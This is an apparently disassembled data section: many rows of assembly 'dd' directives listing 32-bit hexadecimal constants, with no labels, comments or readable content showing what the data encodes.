		dd 0DC50B8EDh, 29DB0022h, 6AD763D2h, 650007ECh,	0D02AA8F8h
		dd 3B1D1BB5h, 0F6006B25h, 0CE944406h, 595E4AD6h, 4A38002h
		dd 0F4084B10h, 1723648Ch, 0C015902Ah, 5420EA58h, 0E0CC58h
		dd 0BF9D676Fh, 4C484B6Ch, 1080605Bh, 24903036h,	0EDD840E5h
		dd 0C90E6E7h, 0CA44FB00h, 0DE28D6A6h, 0F8AA1372h, 6E060505h
		dd 0E3800030h, 0C541066Fh, 3DFA7500h, 1AA93F82h, 0D6A2006Ah
		dd 0F284C840h, 0D402D270h, 5B90760Ah, 0FDFC80E6h, 0EBD6C10h
		dd 0FA6403DCh, 67FCDEC0h, 9D00EA4Eh, 111E9EF8h,	0CC6ADBh
		dd 8DC6F0E1h, 49C9CEDDh, 0FD0EC503h, 0D0307F75h, 25BED659h
		dd 64C0B5D1h, 3D009C9Eh, 58A5C102h, 0BADB15h, 0D0F83975h
		dd 0EF185995h, 127BB200h, 34AFEE81h, 9B0C0033h,	5A2B1353h
		dd 4C01F274h, 3BCE9050h, 4F210281h, 194D0C40h, 0A48785A9h
		dd 0BE231FEBh, 0F430BFFEh, 7027F22h, 201D7A21h,	657EF0A6h
		dd 0CF0FE0B1h, 6E192A39h, 68EC9F51h, 0A090C800h, 387AA788h
		dd 0D301BF28h, 7C1C0D35h, 8350F49Eh, 3B016C00h,	89B0C7E3h
		dd 69FF00DCh, 0D6A39870h, 0B800144Ch, 0C0E028BAh, 3BB9A16Dh
		dd 4000AAF4h, 3D17ADC9h, 30091DDh, 89C13409h, 0E1220h
		dd 27F287A3h, 2B38C304h, 306FBB0Fh, 94C4CEB1h, 336A00A9h
		dd 0F686C9EDh, 80CD4B25h, 0A756D08h, 0EB987200h, 37A7B827h
		dd 388700A8h, 1F2C7673h, 0C0B643CAh, 818A6700h,	1BB9527h
		dd 0EAC8579Ch, 50F985CCh, 22462BC4h, 765BE200h,	0A37D0F51h
		dd 782E9080h, 37FE40Bh,	444CB7Eh, 8107D3E2h, 489F5B46h
		dd 0B9C50247h, 0A4E0C05h, 0FE8074D7h, 7CB411h, 72B3FA0Bh
		dd 1C7B1DEAh, 814FB539h, 97C4929Fh, 67E04E51h, 90819510h
		dd 0EC199EA9h, 0F9049F23h, 13FF8777h, 220CF0C0h, 0A97AB4h
		dd 0D827677Eh, 0DB44A3F4h, 23137618h, 7ABCF80h,	0A87F19B6h
		dd 20EC563h, 0F943A10Ch, 807C5049h, 90DED7D0h, 13F47B40h
		dd 2817DDCh, 0A36154C3h, 0ADA237C0h, 0B07C6000h, 75E5D0FBh
		dd 0B37800D5h, 69B1294Ah, 0EF00559Eh, 4B110741h, 75372ACh
		dd 0F5E926A1h, 18D2B984h, 1054A300h, 0B3720B7Eh, 0AE045124h
		dd 21819CD1h, 0B9104CBEh, 28AFDC98h, 755E3Ch, 86AB0C53h
		dd 30FBA954h, 28C92AE6h, 0DFA0F838h, 0C24C82Eh,	460147AEh
		dd 0AA290FACh, 807E8191h, 0B78104Eh, 0C4018742h, 6EA81046h
		dd 0A219A0CBh, 0D4F255h, 26A9FE5Fh, 2E4A930Ch, 856E88C0h
		dd 3814F409h, 70637BA4h, 48095E5Bh, 20D58086h, 8FA5CE04h
		dd 3E20C10Eh, 0A525127Ah, 4874E840h, 158F33A4h,	82997620h
		dd 32E99153h, 88B38600h, 0E36823D1h, 0E5B69600h, 0D0B50184h
		dd 161EAFEh, 0B4DD0F7Dh, 91A9FA43h, 508080F9h, 520B7A10h
		dd 0C29B448Ch, 5F10480Eh, 41F38CF9h, 0BBB42ADCh, 0B60A00A4h
		dd 2A4513E8h, 6500B284h, 7C437EA2h, 0BE46C1h, 3F9FF176h
		dd 0CA87B7EAh, 4D096F00h, 0D1F204ECh, 0AB9855h,	12ADEF70h
		dd 6C2617E9h, 0E8FE9400h, 0D0F7296h, 6A1E0014h,	0DBC5CEFDh
		dd 3307FF4Bh, 562B84F4h, 0D1363490h, 0D490372h,	857D9D4Ch
		dd 0ECCA5889h, 0B900452Eh, 70565169h, 7DCB530h,	728959E8h
		dd 0D9E24081h, 18002EA2h, 0B6FE0C06h, 741603DEh, 218E60B7h
		dd 2C1826BFh, 38930C5Ch, 7C579FA8h, 0D781CC07h,	0C2598240h
		dd 2F420904h, 7801ED5Eh, 0D09F1D65h, 20C1DACCh,	0FB420C98h
		dd 3BE083C0h, 0AB062E93h, 50DA8DDEh, 905E5D0Bh,	3D330039h
		dd 0C6D0EDD6h, 40F22218h, 0FF069CF0h, 7CAFD896h, 0B062F899h
		dd 43A63E29h, 8E306406h, 0DBFA20E4h, 0BAB99C0h,	392421Dh
		dd 49906388h, 30077F9Ah, 0FB2C82EFh, 1FE2285Ch,	879CD9B9h
		dd 2335D752h, 873BF5Ah,	0D21821C0h, 3C85E09Ch, 7E8249EDh
		dd 64E30357h, 0B0A6C240h, 22E47C00h, 39676E70h,	6453854h
		dd 62C22E00h, 0D0F9AE2Dh, 7FA12400h, 0A9427D3Fh, 6FDE0775h
		dd 80823E17h, 51C9D21Dh, 6A094300h, 98F570FEh, 0DFED0F22h
		dd 3A80FCF4h, 0C8F12185h, 38CDA007h, 0BD112D53h, 5260A4B0h
		dd 0D93628F2h, 0BBDF00ABh, 74305BE5h, 320044A9h, 481D4677h
		dd 0E2FC3B21h, 0F0E71BE9h, 3AA0114Ch, 4D780218h, 1AFEDD0Fh
		dd 0EBF520E9h, 242250h,	4B0332D3h, 606292B2h, 687C9400h
		dd 47214084h, 382A754Eh, 3032DAAh, 1EB0E87h, 741CF290h
		dd 9927781Fh, 2A381300h, 4005CCh, 79198F41h, 26D57FE9h
		dd 4DAE0E00h, 359AF0D6h, 703F490h, 8DB76F74h, 0BD0B50B4h
		dd 697D4DA7h, 0FAB17912h, 0E8971600h, 190E67Bh,	0FF92C8BAh
		dd 0F4C6F898h, 2000DC63h, 0B2B0CD88h, 1A9F2CBh,	8E031611h
		dd 0C431EBEFh, 6F079673h, 0FA2B2941h, 83F7C1E0h, 0C508006Dh
		dd 0AD5A347Ch, 0E518E31Fh, 681E130Ch, 24CDF492h, 906E30h
		dd 2FFB7E43h, 2407BEA9h, 83792B2Eh, 754032D0h, 2AAC0054h
		dd 0ED0B1B18h, 0AD7E7EF2h, 0BA02B179h, 0EE94E9Dh, 0EFC1C08Ch
		dd 0F6FC0FA8h, 9ED7A0h,	0AEBF13ABh, 0C60679CFh,	9E34D9EEh
		dd 93EF1F51h, 4AC4C068h, 81582ED6h, 0AF0B3777h,	9CFDC9h
		dd 293A8F14h, 4ED900B4h, 0CEABFFDBh, 0CF05C542h, 54022CE0h
		dd 0EB82BC00h, 0FDE14E6h, 5DDA2331h, 0B355DCC0h, 0FE76BF79h
		dd 0C506E21Fh, 0AFCE7D80h, 58E996B0h, 62043BA0h, 90B3B44Fh
		dd 58323520h, 386F9801h, 2AAB3F2Ch, 3A3CAE8h, 33DD86FBh
		dd 1900704Bh, 570423A5h, 1C89BB07h, 8B63A2F0h, 595ED102h
		dd 48493Ch, 92F38321h, 0D41D45h, 3037CE01h, 756E19FBh
		dd 0C33DBF1Dh, 787D0840h, 21FCCD6h, 0A99A04E5h,	8B63C2B6h
		dd 0EB249DD0h, 0DCD31700h, 273AD857h, 94020112h, 0F3F19A4Ch
		dd 0CDCDFDF8h, 0ACF7C4E7h, 0C3D0F050h, 0C599800h, 0BA8F9295h
		dd 4C7C0778h, 0D0EDCEC8h, 8D724A05h, 37A65E02h,	80B0CC65h
		dd 12CFF4A8h, 6E736Ah, 3582ED15h, 2CAACCEh, 1CD4A700h
		dd 6E7A98E8h, 16E6E296h, 0B074EBh, 0AE2E15D2h, 1775CAD4h
		dd 0C14A322Eh, 0BD637A01h, 55FC88EEh, 1F8300B9h, 0FE56C858h
		dd 1B1DD3BAh, 0BE98F3h,	0FD285BF6h, 55E8E38h, 64DE23DDh
		dd 9A803F2h, 0A0CF5F85h, 0BDEDD4F9h, 0DC87612Ah, 5E1C31E8h
		dd 73C13496h, 91C4F15Fh, 0C308E8h, 2519E8A3h, 0DDD64E4Ah
		dd 123ABB00h, 132CAA06h, 72780098h, 940D369Ah, 0BC002F47h
		dd 6DE6F5C7h, 1D752D3Eh, 80AAA4DBh, 6711D98Dh, 0FB00A0A5h
		dd 0F0FF5754h, 34271Ah
		dd 2291F99Dh, 0BF71CB86h, 513AFC07h, 8BE0729Bh,	0A6D211h
		dd 0BB1689E6h, 0D803E9EDh, 1D264474h, 22935C1Ch, 4A2D6A00h
		dd 14844F01h, 0C4DAF117h, 0F3C1D000h, 0A180058Bh, 0CD4ACA16h
		dd 53813400h, 0DDE18Fh,	0ECB46D87h, 9366E019h, 36385C00h
		dd 52348163h, 4C75DFh, 3F0574C6h, 0C57537A1h, 54AD6026h
		dd 2653D02Fh, 83705EDBh, 3818BCF9h, 0B989BF93h,	851083FBh
		dd 0F3B0B3E7h, 8CB81146h, 0D494003Fh, 0F762394Bh, 7347D9Ah
		dd 419FA354h, 3DB9918Eh, 0C45FF4DAh, 791C4001h,	9BCAF0C9h
		dd 18362DD4h, 60B146EAh, 0FFB0961Eh, 0C3ADC100h, 0C9D984F6h
		dd 93FA5Eh, 0C54E138Ch,	46412FE8h, 73CECB00h, 77031766h
		dd 0E7D9Ah, 0E4A979E2h,	0E78BA5F7h, 8F3410C0h, 5602D2h
		dd 189D068Dh, 8ACFDC83h, 60503C01h, 0F2C2657Eh,	0F8A7FEC8h
		dd 0CEE53A21h, 3AE3E480h, 348F0A20h, 0D124390Eh, 93CC801Dh
		dd 0C0098064h, 7C6D4E18h, 0C60E3CCAh, 809B6053h, 0A8B2013Bh
		dd 478A001Ch, 0EED2ED71h, 0D04E973h, 12DEE0F9h,	804AC0C0h
		dd 0AEC4039Dh, 0E1624495h, 66AA77A8h, 3F00BB73h, 0E76C348Dh
		dd 0B08937h, 0CD52420h,	0FB38032Bh, 0CA00D898h,	56986BFAh
		dd 17C9B14h, 0E171F5CBh, 0E42FEFD5h, 0FA2A4A4Fh, 3AF2D4AFh
		dd 269C3700h, 0C1643E7Ch, 75EF0020h, 9F689294h,	0A4E0C663h
		dd 0E32FE403h, 0E13A87h, 0E0796CA1h, 0D38A6192h, 1FDB8300h
		dd 0FA176532h, 131400F5h, 3D4A82E9h, 0C800D86Dh, 75BBD412h
		dd 7CB5D669h, 0E39203B7h, 61499C7Bh, 5F79D7B0h,	0B4C2600h
		dd 95E8F565h, 0A174098Dh, 988F3AD1h, 6D22FEA0h,	0A3006B86h
		dd 0A5D42C88h, 0E23EC1h, 0BA0B31E0h, 0C4C21B8Ch, 0FA7DCCE0h
		dd 0BDAAAB00h, 1A6C14D4h, 4BF83D9Eh, 0FBE0C194h, 0B8043869h
		dd 0FF70C290h, 5BBDC8C0h, 7FE10D04h, 6EC05857h,	0B03E012h
		dd 1B651FD9h, 493B2080h, 4C002479h, 0F38B6883h,	289EA185h
		dd 0A83927h, 26CAD6D7h,	249BC17Dh, 56313500h, 5A9698B1h
		dd 735B079h, 0A93A2D8Bh, 0B90430CDh, 4B13266Fh,	80017ED6h
		dd 0BECF1CC1h, 0E6FFC841h, 0DF57C0C6h, 72D400A6h, 143F15E8h
		dd 7426024Fh, 20876498h, 3552E4A1h, 0B8C743DAh,	4412AB8h
		dd 4A91F58h, 349FC3EEh,	0DD56A6B8h, 0EAC331DCh,	0E6ED99F8h
		dd 0E37E10h, 61BDFD9h, 0BECE48F2h, 80BD0A39h, 2A184707h
		dd 554D8Bh, 61E90E3h, 0FB359EEBh, 0C71CF700h, 8447730Bh
		dd 69440E87h, 88A1B416h, 0F8BE0C17h, 38046313h,	0BD59A31Eh
		dd 0E2B1D600h, 0A4F60D61h, 0FA8F1000h, 0C92FD7B6h, 0FBDE070Ch
		dd 0AF697A40h, 7CE6420h, 2800C4ADh, 9AF3BBB8h, 0B0893A72h
		dd 0EA4A0080h, 0A01A1130h, 6C1CD847h, 0DD82E1B6h, 4077A60Bh
		dd 3A1230h, 8464BB7Fh, 0B12B27F6h, 25CFA100h, 6F1672DCh
		dd 81661259h, 698805D6h, 0ACE88340h, 448F7B8h, 1BD9F00Bh
		dd 4F540085h, 474CC9h, 11BDB898h, 861267BCh, 0B07B9700h
		dd 3B3785AFh, 9D770743h, 6046A750h, 58566F39h, 0ECF2140Eh
		dd 0F8E840FFh, 1EFCD0A3h, 0C120CCB4h, 9B737FA4h, 8C028341h
		dd 0E838294Ah, 14D8497Bh, 0D0AE7E0Bh, 8E12913Bh, 0FC484097h
		dd 0F3E47C9Fh, 0FBF9AF00h, 0D054D79Dh, 991A0491h, 8039421Ch
		dd 0C64A316Fh, 5F00417Fh, 0B3C59410h, 275E3E1h,	6A3532CAh
		dd 0CD80881Dh, 7D373ECEh, 6B852006h, 1769406Dh,	216DD3Fh
		dd 0C8F6B92Bh, 8B4B4C0h, 0C511E0FFh, 601011CFh,	2FD97FD6h
		dd 0C2040E06h, 0C0BC47BFh, 49BBC67Ah, 680F6A87h, 2056720Fh
		dd 43E7C019h, 573B00E3h, 0B91C1EB4h, 0E0DE08D1h, 0A020D803h
		dd 0C840A036h, 30751E68h, 65D74085h, 54B7AD73h,	480CF15h
		dd 0A2F50088h, 2D8F08A3h, 79F8F788h, 167475h, 7F36E6CDh
		dd 7D6A8550h, 37266C17h, 0F838C845h, 40831CD0h,	1D5E0385h
		dd 0FBC295B2h, 69DDD4E8h, 803E8238h, 160E1542h,	0C67574h
		dd 0E64E0308h, 5F01CBDh, 97B44900h, 4396E477h, 277B82h
		dd 0AF23A81Dh, 0C79A78F7h, 0F84CA200h, 36570BB0h, 3F6A00B5h
		dd 5A0EFF07h, 4500A05Bh, 55B17161h, 0FD7D222h, 138733D5h
		dd 9D2A2F01h, 8C68CA74h, 1800AE12h, 0A4F14ECEh,	0B87EF850h
		dd 0B19C2931h, 0C70B0488h, 0C13CA020h, 49D45B0Ch, 1214119h
		dd 0A3A5732Eh, 8F25AAFAh, 90421D30h, 0CA2C943Ch, 6D700094h
		dd 0BBC36EE7h, 950B4500h, 393CF0B1h, 0AF49C032h, 8D18300Ah
		dd 157BAC00h, 0A27E82C3h, 0C8B01FDBh, 0BFD0C390h, 0CEE081E5h
		dd 0B306A94h, 0C34C69D6h, 254E07B1h, 4AC5A2h, 5E1D7346h
		dd 0DB2621C0h, 0CBE480h, 125144D2h, 7856134Ah, 2F3ADC00h
		dd 75805726h, 0ADBD0071h, 7D9C5D28h, 0D100123Dh, 1C25B987h
		dd 0BFEC37h, 0C8E9A759h, 471D6875h, 0A08F61C0h,	39316EA5h
		dd 0A88081DAh, 5979F654h, 7500615Eh, 836FFA66h,	0F2F4A232h
		dd 258980Bh, 0AA5DCC9Dh, 8C80917Fh, 0BE06E8FAh,	0A649FB0Eh
		dd 8798B4Eh, 0C340C454h, 97D11Ah, 3EDFA046h, 23E1B9A8h
		dd 0BFFE511Ch, 4901240Fh, 0F5D9007Ah, 3D8A9D5Fh, 91038222h
		dd 3C1D6219h, 815E46A8h, 49FFD207h, 235320FEh, 0ED7CD801h
		dd 7BA830DBh, 62CE0810h, 25581FF6h, 38271917h, 2187B608h
		dd 0A062C5E2h, 75FAF45h, 0AA248C03h, 0E73C671h,	60F66158h
		dd 30760686h, 40958C0h,	0C022A3F1h, 6D4B4311h, 3C06ACCBh
		dd 54A4780Ch, 21306508h, 0F887C0DEh, 9F14AB4Fh,	3F0FC1Dh
		dd 0C0542321h, 5B590077h, 80F5CAB6h, 0AC19E7D7h, 208DFF8h
		dd 0EE328850h, 9BD600CAh, 7F421773h, 3F00AB5Dh,	0A22320B9h
		dd 0A0BC39FBh, 30915680h, 25C06813h, 0C4778AB9h, 0EBA69900h
		dd 0E3E7942h, 3ACF1F97h, 32B3C091h, 0FCDB0941h,	33079B7Eh
		dd 9297C0DDh, 9A2D1970h, 0DC7D66h, 0D9FF5089h, 73ECCE39h
		dd 2B00D8E8h, 11FCA10Fh, 7DB877h, 5CD26251h, 0B01C26A7h
		dd 44743F00h, 67324A66h, 74A276E9h, 0DCAC07CAh,	0E24CD4EFh
		dd 2940CB13h, 0A9009C23h, 0CEC99039h, 168EAF3h,	0DC22EF56h
		dd 0E8A601A2h, 997EA5DBh, 72A7E700h, 630BCC02h,	9E1040Ch
		dd 0C0C6D7D4h, 94DB5351h, 3F64C402h, 0E1A2BC1Fh, 44E4B02h
		dd 64792500h, 5F75F71Fh, 0F21D5200h, 0B6C8AFB9h, 0A7E2072Ah
		dd 80C5F537h, 8E4B8B6Ah, 7CBA9D18h, 60A9F138h, 2BC6489Eh
		dd 0A6076B0Eh, 0E61501ACh, 588B7520h, 0D1DA0EEDh, 600CE3CCh
		dd 0BE05B820h, 0F2C77243h, 46F32038h, 0ECCA001Ah, 6204D7C3h
		dd 640230D6h, 1F0CB480h, 89BF961Eh, 4B15983Dh, 184AA0B8h
		dd 0E9872072h, 0DD00F38Ah, 0BE8F0DD3h, 0CC8EB58Ch, 6A219D08h
		dd 0ECDDFC07h, 0A060C555h, 3AD7CFE8h, 435887BBh, 908C9440h
		dd 7E4A05EDh, 4EA775FFh, 0C983E5A0h, 11004D22h,	0D07783ABh
		dd 196C86C2h, 85ECA8Dh,	92218041h, 6232783Bh, 7F3D0307h
		dd 0E0CB158h, 39B88962h, 0DDF81821h, 0D70DCE11h, 78A69188h
		dd 0C470DD00h, 1BD103Bh, 0C985ED0Dh, 0E0A315D6h, 270AE8A7h
		dd 8C3D613Ah, 889C0300h, 4963DCB8h, 0C21C009Dh,	27F9C0CEh
		dd 1F4F6EBDh, 7B08CD66h, 0C66C3921h, 23FE2F86h,	1F00798Ch
		dd 53B75250h, 300A25B0h, 0D460B179h, 0AD1EE29Dh, 0C3D0812Ah
		dd 98A21Fh, 0BE0D850Ch,	451D9EAEh, 8918AFCEh, 7DBF621h
		dd 3736EF0Ch, 7D561025h, 0C87C5F82h, 4E2C1112h,	0F7FB0C47h
		dd 29800A51h, 174388Eh,	0D8CBB720h, 631228EBh, 6C23D083h
		dd 0F664B87Fh, 0ACC9063Ah
		dd 790B10C7h, 496001F8h, 0D670FB29h, 29C403F3h,	18F26484h
		dd 3AF5D2A0h, 66302AE0h, 1DB651AAh, 0A02B0EFh, 273237BFh
		dd 8E078C94h, 0DF00E9C9h, 613C19Bh, 0E1E0AEh, 471CF381h
		dd 0A5E72233h, 0B1526005h, 0A4408D42h, 9704CDACh, 2BCA0E3Bh
		dd 923EA9EEh, 6A0CBAD8h, 18C3095h, 0CB9B3B45h, 427B36E5h
		dd 0CF31DBE0h, 2127F8CCh, 7A916DE5h, 0C0C75D1Ch, 0B18E3A48h
		dd 0CFE502Dh, 5FBFD212h, 5628F803h, 96E7C14Ch, 0AA6D7082h
		dd 0E0B0842Ah, 82100CD7h, 0FBE0B60Dh, 2B0A0CDEh, 4CC38350h
		dd 1A572203h, 38B7E34Ch, 26930D29h, 632406ACh, 0D601299Eh
		dd 72C312ADh, 0C007812Dh, 0A403ACCCh, 77565502h, 48C7F2AAh
		dd 134A19A4h, 0FD31DE1h, 3900CAEEh, 0B1B6577Dh,	41860331h
		dd 0F0505222h, 36BCD21h, 0CF7E48C1h, 4902C2D5h,	7C98E4F1h
		dd 50B080F3h, 3083C4CAh, 8139430Dh, 0AD2409C7h,	58826C41h
		dd 42684E1Bh, 82900444h, 840CD160h, 448C0D7Fh, 0D801F99Dh
		dd 51A3F80Ch, 5E8E36Ch,	454700D2h, 0EA275265h, 68C149B5h
		dd 14B17B37h, 871BB422h, 33C091C3h, 8F24AF3Ah, 2205E4D3h
		dd 0D814996Fh, 0A3C111F0h, 86BFC20Ch, 98058818h, 9A15BA0h
		dd 10791009h, 62C10ACh,	0ACA58F56h, 7B09A9C5h, 0A9CC9608h
		dd 0D27019F4h, 78083818h, 0C46EC2CFh, 70415E3Fh, 0AC65E777h
		dd 6FA9B980h, 951864DFh, 80142D50h, 0FACAF500h,	5122C166h
		dd 4FFB017Bh, 0AC205E05h, 0F45C310Ch, 2B0AC495h, 0BCA5984Ah
		dd 0D280FB91h, 0CE0E3B0Ch, 0A422AF43h, 0CB9F800h, 0BDF02551h
		dd 16580B4Eh, 200166A9h, 81177E5Dh, 1A0BB829h, 8821726Bh
		dd 7D0441E2h, 711B4811h, 0FF809F06h, 90B3C60Ah,	8807EB06h
		dd 85E50041h, 7480379Ah, 0D903F21Fh, 0DA106E5Ah, 0DF5998B4h
		dd 2C413C9h, 238C2FAEh,	0CFBD0090h, 6D604D8Ah, 60A6103Eh
		dd 0C0DCCA80h, 8EA82C52h, 0C65508D0h, 5A39B183h, 0F0C00150h
		dd 0AF2D84FCh, 2CA43310h, 700834C6h, 0DDF56320h, 637F0C89h
		dd 7DC88790h, 1EB12CF0h, 4A9B002Ah, 92C9E815h, 0FE008AE6h
		dd 4622D352h, 166FAF8Eh, 3AA2C6D0h, 2C752334h, 19E15368h
		dd 21A03736h, 48CA00FFh, 0C6C95B19h, 842D3086h,	68B0E421h
		dd 0A38D5400h, 40028004h, 0F8E50034h, 148A196h,	0B49A433Ah
		dd 99FF7202h, 606C9EC2h, 0C290FB90h, 75023318h,	4A2D2CE8h
		dd 0F9000C92h, 3B24E96Ch, 0ED4522h, 0D7845010h,	0D8FCE490h
		dd 9990E5Ch, 4BE470Dh, 0D360805Ch, 0E23360Ch, 9A11D6h
		dd 4C0CDAF7h, 183C267Ah, 0E00EE7E2h, 8492864Eh,	0E8CC8E48h
		dd 0C2A08CB6h, 7EF61AA1h, 0B3FCAC00h, 1DF227D3h, 0A2E0C04Ch
		dd 0C2CCC63h, 8C84CE50h, 0BD756203h, 0FC1B5C32h, 0E48480D4h
		dd 380551C5h, 0F882F258h, 0CD0307Dh, 0DE0E3914h, 96918870h
		dd 5F280002h, 0D1A08983h, 0AD01457Dh, 0C835F78Eh, 6982B4E3h
		dd 0C77E187Fh, 85214C00h, 795C919Fh, 0E065189Fh, 7F081254h
		dd 2A8C400Ah, 0A91A10CBh, 0BBDA1318h, 28EA2598h, 0C84BA81h
		dd 98BE944Fh, 0D6008218h, 381539EFh, 498B08F5h,	0C12B472h
		dd 0A0084AC8h, 213BD44Ch, 375A1EDFh, 2722A3C0h,	0BA91403h
		dd 7EE59F5Eh, 9011341Dh, 50769880h, 84283A6Ah, 0F100780Eh
		dd 944B2C25h, 7CBDE59Eh, 8BD504EDh, 0C269ABBEh,	7061847Ch
		dd 0C2E19E01h, 0D83594D3h, 0FF40961Eh, 99F7929Eh, 0D1CA0065h
		dd 0C38DB454h, 6E00A825h, 2BC7BC66h, 909CA25Bh,	4E051014h
		dd 805060AFh, 1ECCDABh,	0E9D0589Eh, 0D0F5C463h,	0ED3E64B6h
		dd 3A0D0491h, 0BC878947h, 0D480F6C5h, 3C29DB87h, 5F93FBC6h
		dd 0FDC446A6h, 84A7A88Ah, 7561B744h, 0C1BAD0AAh, 0D6934D0Dh
		dd 0E40EF19Bh, 80CF9688h, 0C92FB928h, 0F83D00E0h, 9A18ACD1h
		dd 0F4ECFF2Dh, 5178A302h, 298407h, 0A7611417h, 8C8E873Ch
		dd 51832E35h, 0CFE55C01h, 4F533F1Fh, 6206D47h, 0C98C3DBFh
		dd 43CB0D00h, 42EFD739h, 4CE5C56h, 0E06DEB14h, 18163A30h
		dd 0CAE005C7h, 0A4B88B28h, 7C571F01h, 0B963911Eh, 4C330420h
		dd 0D134C01h, 0E4A8151Dh, 29721B0Bh, 651108A7h,	0A2D4DCA9h
		dd 309878B2h, 0F4B18D60h, 39255DE2h, 0E8CDFB90h, 1037B114h
		dd 5E7AF007h, 89C4D7ECh, 5474A401h, 0D05C240Dh,	0A1EACA0Dh
		dd 0DC2976E9h, 0F2036F23h, 0CC0DD0DDh, 75C080B2h, 1918DDFAh
		dd 5F30971Ch, 635B3C42h, 2C0CC0D6h, 772114FFh, 0F84884B6h
		dd 0A83C6067h, 0D1DDF960h, 22DF460Dh, 81CC2490h, 1F8603D4h
		dd 0A8FAF963h, 0FA59D8E1h, 888F205h, 8E318C6h, 0E97FCA7Dh
		dd 6F1E4B15h, 7EE450F8h, 3829A18Ch, 9026EB31h, 5008F22h
		dd 29330CC4h, 17CCC2B9h, 4423197h, 140EDF4h, 7F3B2237h
		dd 0EBB1FC40h, 0FB580B9Ah, 54A78885h, 4CD44FDh,	0D0CEE2C4h
		dd 0C2C09088h, 4878AB8Ah, 0AE101453h, 2C4812AAh, 28380820h
		dd 209C987Dh, 0A4B0B1F1h, 276C6F22h, 0FC398DA9h, 0B0300B5h
		dd 8D62251Bh, 784E0CA2h, 4843C600h, 3330C0EFh, 383AF857h
		dd 70CE409Eh, 0C2201A29h, 0D730F2B5h, 8D010002h, 7A674445h
		dd 0E413EAFFh, 1C60C8A2h, 23D1783Ah, 40115EC2h,	77008B48h
		dd 171E4DA7h, 19C03E22h, 0C3097681h, 4CA004Ch, 2391E260h
		dd 2748DF3h, 99054EE6h,	9FCB87CEh, 82DA9C4Eh, 90AB19F1h
		dd 260514D0h, 0C6890ACh, 0B629A962h, 0D1DF0A03h, 8BC2AF34h
		dd 0EA77C233h, 6324ED00h, 0D1F04983h, 2F06FD18h, 7F3E2B14h
		dd 0A1782450h, 0CEEF0F64h, 4FA7E100h, 0B925EBD2h, 4BA4A560h
		dd 31DFE8C2h, 27FCECD3h, 7722C546h, 80CB6939h, 6CC6F401h
		dd 130D89FBh, 21BDD1F5h, 971E38h, 0E90E1D33h, 49E14800h
		dd 0A109D490h, 609F7109h, 60B6Ch, 87183530h, 0C3740C2Fh
		dd 0D67F63B0h, 0F0BBE20Fh, 5C9220E7h, 7F81E0DEh, 0CD95014Ah
		dd 0B637B9F8h, 0F847E902h, 57008008h, 0A3B451EFh, 3D8524h
		dd 3026BF86h, 0A9E93A53h, 1F00E1E0h, 3E820DEh, 3A695DEBh
		dd 8403B07Fh, 3A9C3D42h, 652B0B80h, 334B5203h, 0D8FAA0FEh
		dd 0EBC28A5h, 738E5462h, 512A1A3h, 0BA9EF5C8h, 5E03AC7Dh
		dd 0C4B4F6FAh, 8D87B049h, 0F7D2Dh, 5A60C3Bh, 0E781A857h
		dd 1B372F00h, 0AF532AC9h, 5ED80326h, 7EF08BBh, 0AA43A998h
		dd 408FE200h, 897B0B19h, 0A470158h, 1201B5F8h, 77089880h
		dd 91D221h, 81F3C758h, 42998D16h, 0A0FA600h, 69258E35h
		dd 0C6272BBh, 7FFAEE6h,	48CA660h, 0A4B5885h, 7D638D8h
		dd 0B3F7588Dh, 0AEB690C4h, 0D407346Fh, 0B7FBC0B1h, 0A7967A20h
		dd 0E3970068h, 1943BBC9h, 8D1D9B59h, 48350D41h,	0AE0059A8h
		dd 15A00BB7h, 9C74D280h, 44210960h, 7E23FEA6h, 317E7533h
		dd 0C358FC02h, 40E3CD91h, 3A8C6A24h, 9C2BCA03h,	1822FA2Dh
		dd 210142E0h, 0D007A34h, 4A10ABB9h, 5152941Ch, 10A07C3Dh
		dd 10D4D6h, 88AE4105h, 9EB1801Bh, 0C41FEE6Ch, 0E3803329h
		dd 4CDDF1C1h, 0EE0E8C8h, 0B4E2B376h, 0C7298840h, 0AD054B7Dh
		dd 0AF4821E5h, 0C2FC0AFh, 0DB002577h, 66D1E318h, 0F3088Bh
		dd 0DF72F994h, 66EF421h, 4F36CB00h, 0F7607A11h,	5A7800E3h
		dd 504CB3B5h, 0FC2E2810h, 0E7008EC1h, 0A50FB0E5h, 6FBB003Ah
		dd 0E3210DBFh, 27005D7Ch, 2D48E6F4h, 0AACAE4h, 86F1F650h
		dd 7E042597h, 0CE629800h, 0EDBFAA9h, 6BD105EDh,	5A0AC8h
		dd 53C5CFCFh, 5D00E477h, 0D910C3C2h, 0ED818Ah, 0F4895F03h
		dd 634BEBB6h, 8C28711Fh
		dd 0FF6A9C0h, 3082DE9Ah, 593846F1h, 40CF452Dh, 0BCC700EFh
		dd 7EF255h, 0D3F5ECB8h,	9AFC2746h, 0F4DCF800h, 756ED569h
		dd 0FF230F9Fh, 0FB20382Fh, 0CA088CB4h, 0F0497160h, 9A2BB3h
		dd 0B5B8FAC1h, 610C41A0h, 1427DE00h, 0B4BAE5CCh, 940A0C75h
		dd 0BE18ECB9h, 7EE6BB79h, 16D1E260h, 0ED4DBFh, 0AB0EFF96h
		dd 5AF3CBE8h, 88E61B31h, 46DCA0E4h, 0D23900CFh,	23ECB7B6h
		dd 0F46F4DC3h, 1AF96018h, 347034C0h, 0C2E0D63Bh, 0AD8C6E1Eh
		dd 9960C678h, 398E8DF9h, 0ED563D2Eh, 69C973B0h,	0D900376Ah
		dd 3FD28D4Ah, 48C505EBh, 40607A7Ah, 37F51F40h, 10316000h
		dd 8F73EAE8h, 0DEFB0763h, 40DABF1Bh, 11C03FF8h,	799E2F00h
		dd 62A98916h, 27B05F9h,	0C0DCAD05h, 70B2C286h, 0F8BA4Ch
		dd 3021A8CEh, 18931h, 0F46891FDh, 1DE4EDDFh, 0C760B400h
		dd 0AE17BA0Eh, 1CC8F528h, 0EEF80483h, 0C0702F22h, 0A176CE26h
		dd 0B685C500h, 4C9BB028h, 0EF9600AFh, 3FA5B3A8h, 0DE0F188h
		dd 0B0035171h, 500A5737h, 1BD8E0CCh, 0DA430021h, 93992692h
		dd 2F72E447h, 693A730Eh, 0BCBAC0EAh, 9133C0h, 4563F767h
		dd 3614F19Fh, 0D4879D1Eh, 9475A080h, 267B9232h,	574131h
		dd 69689BC1h, 0F40A765Dh, 0BE62828Bh, 84724400h, 47F612h
		dd 0CAD8ECCBh, 56D4F4A4h, 0A5EBF11Fh, 0EE9F1103h, 2E7AF0F3h
		dd 49D0013Ch, 0E1291BF7h, 0DCA5E9ECh, 3801139Ch, 222839DFh
